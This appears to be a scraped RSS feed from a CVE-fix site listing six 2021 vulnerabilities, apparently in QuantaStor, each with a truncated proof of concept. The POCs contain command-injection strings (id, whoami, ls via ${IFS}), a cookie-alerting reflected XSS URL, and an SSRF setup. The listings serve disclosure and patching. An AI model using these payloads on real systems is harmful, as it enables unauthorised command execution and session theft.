https://patchthecve.com/CVEs with upgrade or downgrade fix stepshttps://patchthecve.com/cve/CVE-2021-4406.htmlhttps://patchthecve.com/cve/CVE-2021-4406.htmlWed, 17 Jun 2026 04:19:41 +0000CRITICAL 9.1: An authenticated attacker is able to create alerts that trigger a stored XSS attack. POC * go to the alert manager * open the ITSM tab * add a webhook with the URL/service token value ' -h && id | tee /tmp/ttttttddddssss #' (whitespaces are tab characters) * click add * clihttps://patchthecve.com/cve/CVE-2021-42083.htmlhttps://patchthecve.com/cve/CVE-2021-42083.htmlWed, 17 Jun 2026 04:09:17 +0000HIGH 8.7: An authenticated attacker is able to create alerts that trigger a stored XSS attack. POC * go to the alert manager * open the ITSM tab * add a webhook with the URL/service token value ' -h && id | tee /tmp/ttttttddddssss #' (whitespaces are tab characters) * click add * clihttps://patchthecve.com/cve/CVE-2021-42082.htmlhttps://patchthecve.com/cve/CVE-2021-42082.htmlWed, 17 Jun 2026 04:09:16 +0000HIGH 7.8: Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'https://patchthecve.com/cve/CVE-2021-42081.htmlhttps://patchthecve.com/cve/CVE-2021-42081.htmlWed, 17 Jun 2026 04:09:16 +0000CRITICAL 9.1: An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=https://patchthecve.com/cve/CVE-2021-42080.htmlhttps://patchthecve.com/cve/CVE-2021-42080.htmlWed, 17 Jun 2026 04:09:16 +0000HIGH 7.4: An attacker is able to launch a Reflected XSS attack using a crafted URL. POC: Visit the following URL https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>https://patchthecve.com/cve/CVE-2021-42079.htmlhttps://patchthecve.com/cve/CVE-2021-42079.htmlWed, 17 Jun 2026 04:09:16 +0000MEDIUM 6.2: An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&